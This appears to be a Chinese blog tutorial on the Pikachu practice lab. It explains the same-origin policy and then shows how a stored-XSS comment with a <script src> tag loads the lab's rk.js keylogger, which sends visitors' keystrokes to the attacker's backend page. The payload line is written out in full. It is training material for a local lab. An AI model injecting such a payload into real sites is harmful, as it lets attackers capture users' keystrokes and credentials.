pikachu之xss获取键盘记录

前备知识

跨域

跨域(Cross-Origin)是指在互联网中,浏览器为了保护用户信息安全而实施的一种安全策略------同源策略(Same-Origin Policy),即浏览器禁止一个域上的文档或者脚本(如通过JavaScript发起的HTTP请求)与另一个域上的资源进行交互,除非明确授权。

具体来说,如果两个网页的协议(HTTP/HTTPS)、域名、端口号完全一致,就被认为是同源。若从一个源(例如,域A)加载的网页中的脚本尝试访问或操作另一个不同源(例如,域B)的资源,这种行为就会被浏览器阻止,从而出现"跨域"问题。

跨域的主要目的是防止恶意网站通过嵌入的脚本获取并利用另一个网站的内容,比如用户的敏感信息,以避免诸如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等安全风险。

解决跨域问题的方法有多种,包括但不限于:

  • CORS(Cross-Origin Resource Sharing,跨源资源共享):服务器通过响应头允许特定源进行跨域访问。
  • JSONP(JSON with Padding):通过动态创建<script>标签绕过同源策略,适用于GET请求。
  • WebSocket可以通过指定协议握手实现跨域通信。
  • 服务端代理:将请求转发到其他服务器,返回结果给客户端,让客户端看起来像是在和服务端同源通信。
  • window.postMessage API:在不同窗口间进行跨域通信。
  • WebRTC等现代Web技术也有相应的跨域机制。

通过存储xss漏洞,注入xss代码,进而获得用户的键盘记录

环境准备

1.安装好pikachu及其的后台

2.文件处理

1.rk.js 在pikachu\pkxss\rkeypress目录下

注:上述网址一定要与本机部署的pikachu的网址一致才行,此网址也为攻击者的文件网址

此处我的pikachu网址直接为localhost,即127.0.0.1

本质该网址就为http://+'pikachu网址'+/pkxss/rkeypress/rkserver.php

实战

先上payload:

复制代码
<script  src=" http://127.0.0.1/pkxss/rkeypress/rk.js">  </script> 

注意:payload对应的网址也应与rs.js文件中的网址一致

查看控制台,如果有除了以下的显示内容,可能就是上述网址填错了,请认真修改!

此时,我们已经将rk.js文件上传到了被攻击者网站中,当有人访问该网页,并留言,我们就可以在xss后台看到该人的键盘记录,如下演示

去往pikachu后台,即可查看到

总结

此处xss漏洞主要利用src属性的跨站访问,使得被攻击者可以通过src属性自动跳转到攻击者的xss平台,祝各位学习顺利!

相关推荐
OKUNP15 分钟前
使用Haproxy搭建Web群集
前端
天上掉下来个程小白16 分钟前
Apache ECharts-01.介绍
前端·javascript·spring boot·apache·苍穹外卖
夜空孤狼啸17 分钟前
前端常用拖拽组件库(vue3、react、vue2)
前端·javascript·react.js·typescript·前端框架·vue3
嘗_21 分钟前
暑期前端训练day1
前端·javascript·八股文·手撕代码
网小鱼的学习笔记21 分钟前
css语法中的选择器与属性详解:嵌套声明、集体声明、全局声明、混合选择器
前端·css
网络安全工程师老王26 分钟前
DOM型XSS深度渗透实战
网络安全·渗透测试·xss
月下点灯28 分钟前
🚀学会这几个Set实例新特性方法,助你开发体验提升一个档次⚡️
前端·javascript·ecmascript 6
踢足球的,程序猿34 分钟前
【无标题】
前端·javascript·vue.js·前端框架
JavaDog程序狗36 分钟前
【HTML】前端灵异事件,页面样式离奇错乱!零宽字符了解一下?
前端
井云AI1 小时前
利用井云平台把Coze工作流接入小程序/网站封装变现 | 详细步骤→
前端·小程序·工作流·智能体·ai工作流·coze工作流·智能体变现